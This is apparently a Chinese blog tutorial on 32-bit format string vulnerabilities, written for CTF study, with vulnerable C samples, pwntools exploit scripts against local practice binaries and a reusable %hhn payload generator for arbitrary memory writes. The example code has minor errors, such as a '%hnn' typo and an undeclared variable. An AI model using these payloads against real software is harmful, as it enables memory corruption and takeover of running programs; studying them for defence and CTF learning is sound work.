格式化字符串漏洞_x86详解

格式化字符串漏洞在实战中的最大作用就是泄露和覆盖任意内存地址

原理简要介绍

格式化字符串函数接受可变数量的参数,并将第一个参数作为格式化字符串,根据其解析之后的参数。
格式化字符串的利用分为三个部分
(1)格式化字符串函数
(2)格式化字符串
(3)后续参数(可选)

例如:

printf("output1:%s,output2:%p,output3:%4,2f",a,b,c);

其中,

  • printf()函数就是格式化字符串函数
  • "output1:%s,output2:%p,output3:%4,2f"就是格式化字符串
  • a,b,c就是后续参数

格式化字符串最常见的漏洞就是参数未写全,比如这样一个语句

printf("output1:%s,output2:%p,output3:%4,2f");

由于没有对应的参数用于解析,格式化字符串就会把对应位置上,栈上的非法值作为参数解析,这就造成了安全风险。

泄露任意内存地址

泄露栈的值

根据C语言的调用规则,格式化字符串函数会根据格式化字符串中的内容,按照顺序逐个使用栈上的数据作为参数(64位系统会根据其传参的规则进行获取)

例:
漏洞函数vulnfunc

int vulnfunc()
{
  char format[264]; // [esp+0h] [ebp-108h] BYREF

  __isoc99_scanf("%100s", format);
  return printf(format);

这就是格式化字符串函数的基本格式,format内容可控,且printf直接将format的地址作为参数
在printf前下断点,输入"%p%p%p",然后c运行

在这里插入图片描述
可以看到将格式化字符串后的参数按照%p格式解析,依次泄露了栈上0xffffccc0,0x1,0x1三个数值

泄露任意地址内存

想泄露任意地址内存,需要两个步骤
1)泄露栈上任意地址的元素
2)将任意地址写入栈上
可以通过%k$p,这里的p是可以更换的,比如更换
为s就可以解析栈上的数据为字符串。重点是理解k的含义:k表示要打印的参数距离目前格式化字符串参数的距离。

在这里插入图片描述
比如上面是我尝试泄露格式化字符串后第二个参数

如果在上面的vulnfunc中尝试泄露scanf函数(编译后是__isoc99_scanf)的地址

❯ readelf -r ./leakmemory | grep scanf
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
注意这里的函数名以双下划线开头(写成单下划线打不出来笑了)

先输入"aaaa",可以看到输入的字符串在格式化字符串下第四个参数的位置
那么构造scanf_got + %4$p的payload即可泄露出scanf的地址

exp
from pwn import *

p = process("./leakmemory")
elf = ELF("./leakmemory")

#gdb.attach(p)
scanf_got = elf.got["__isoc99_scanf"]
payload = p32(scanf_got) + b"%4$p"
p.sendline(payload)

leak = u32(p.recv(8)[4:])
log.success("scanf_got:" + hex(leak))

p.interactive()

在这里插入图片描述

覆盖任意地址内存

这里要用到一个格式化字符的类型 %n,它不输出字符,但是可以把已经输出的字符个数写入对应的整型指针参数所指的变量
比如这样一条语句

printf("aaaa%n",b);

因为在遇到%n前已经打印出4个字符,所以在这条语句执行结束后,b的值会变成4

例:
vulnfunc函数

void vulnfunc() {
	char buf[0x100];
	int a = 0xdeadbeef;
	printf("%p\n",&a);
	scanf("%100s",buf);
	printf(buf);
	if (a == 0x10){
		puts("overwrite a for a regular value");
	}
	else if (b == 2){
		puts("overwrite b for a small value");
	}
	else if (c == 0x12345678){
		puts("overwrite c for a big value");	
	}
}

这道题中,需要把a,b,c分别覆盖为0x10,2,0x12345678
(a是局部变量,局部变量是存储在栈上的,其地址会因为开启ASLR而变化,所以在函数中将a的地址打印出来了。)

覆盖a的值为0x10

0x10也就是16,利用刚刚的方法,在%n前输出16个字符,用%k$n的格式将地址写入到a对应的栈位置即可。
先调试查看a的地址对应的偏移
在这里插入图片描述

从esp对应的位置往下数,可以看到第8个位置对应的是a的值,所以payload为a_addr+%12c+%8$n
a的地址占4个字符,因此要用%12c补全剩余的12个字符

%12c 是一个格式化指令,用于控制字符(char)的输出格式,具体含义是:
c:表示输出一个字符(根据传入的 ASCII 码值打印对应的字符)。
12:是最小字段宽度,指定输出该字符时至少要占用 12 个字符的位置。
当使用 %12c 时,格式化函数(如 printf)会:
取出对应的参数(一个整数,作为 ASCII 码值),转换为对应的字符。
如果该字符的显示宽度不足 12 个字符,则在字符左侧用空格填充,直到总宽度达到 12 个字符。
最终输出这 12 个字符(空格 + 实际字符)。

exp
from pwn import *

p = process("./overwrite")

elf = ELF("./overwrite")

a_addr = int(p.recvuntil("\n",drop = True),16)
log.success("a_addr:" + hex(a_addr))

payload = p32(a_addr) + b"%12c" + b"%8$n"
p.sendline(payload)

p.interactive()

在这里插入图片描述

覆盖b的值为2

把b的地址放在%k$n后,具体调试偏移即可
payload:"aa" + "%k$n" + b_addr
b是data段的数据,地址通过ida查看
在这里插入图片描述

exp
from pwn import *
p = process("./overwrite")

b_addr = 0x0804a028
payload = b"aa" + b"%10$n" + b"b" +p32(b_addr)
p.recvuntil(b"\n")

p.sendline(payload)

p.interactive()

注意一下实际的payload这里

payload = b"aa" + b"%10$n" + b"b" +p32(b_addr)

32位每个栈帧的大小是4字节,也就是4个字符
aa%1是4个字符,占一个栈帧,而0$n只有三个字符,所以要再加一个任意字符填充,让b的地址正好在第10个位置上。

gdb调试
在这里插入图片描述

覆盖c的值为0x12345678

理论上可以通过写入很多个字节覆盖,但是实际上通常会采用逐字节写入的方式
这里涉及到两个标志

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。(char类型长度)
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。(short类型长度)

也就是说可以利用%hnn向某个地址写入单字节,利用%hn向某个地址写入双字节。
可以举一个例子

int a = 0x12345678;
printf("123%hhn"&a);
//overwrite a=>0x12345603

int a = 0x12345678;
printf("123%hn"&a);
//overwritea =>0x12340003

先ida查看一下c的地址
在这里插入图片描述
所以期望的覆盖方式是这样的

0x0804A02C	\x78
0x0804A02D	\x56
0x0804A02E	\x34
0x0804A02F	\x12

由于字符串的偏移是8,所以可以确定payload是这个样子的

p32(0x0804A02C)+p32(0x0804A02D)+p32(0x0804A02E)+p32(0x0804A02F)+pad1+'%8$n'+pad2+'%9$n'+pad3+'%10$n'+pad4+'%11$n'

可以依次计算

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
        fmtstr = ""
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr.encode()


def fmt_str(offset, size, addr, target):
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

其中每个参数的含义基本如下

  • offset 表示要覆盖的地址最初的偏移
  • size 表示机器字长
  • addr 表示将要覆盖的地址
  • target 表示我们要覆盖为的目的变量值

exp

from pwn import *

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
        fmtstr = ""
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr.encode()


def fmt_str(offset, size, addr, target):
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

def exp():
    p = process("./overwrite")
    payload = fmt_str(8,4,0x0804A02c,0x12345678)
    print("Payload:", payload.hex())
    p.sendline(payload)
    print("Received:", p.recv().hex())
    p.interactive()
    
exp()

payload深入解析:

>>> hex(16 + 104)
'0x78'
>>> hex(16 + 104 + 222)
'0x156'
>>> hex(16 + 104 + 222 + 222)
'0x234'
>>> hex(16 + 104 + 222 + 222 + 222)
'0x312'

可以看到,首先是4个c的逐字节写的地址,这4个地址占用16字节,后面的是padding加上对应的偏移。上述代码计算了printf函数进行到每个%k$hhn的时候已经打印的字符个数(这里指的是printf运行到%8$hhn%9$hhn时打印的字符串个数),比如第一行:16+104,4个地址占了16字节,然后再打印104字节(%104c),这样就能够写入0x78这个字符了。

后续的0x56(c的第二个地址需要写入0x56)这个字符是怎么写入的呢?

实际上,最后写入的字符个数是0x156,但是因为选择的是hhn这种写入方法,最多只能写入0~0xff范围内的数字,所以就写入了0x56,而0x100无法写入的。

后续的0x34和0x12的处理过程也是一样的

参考文章和书籍:
ctfwiki_格式化字符串漏洞
《ctf那些事儿》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值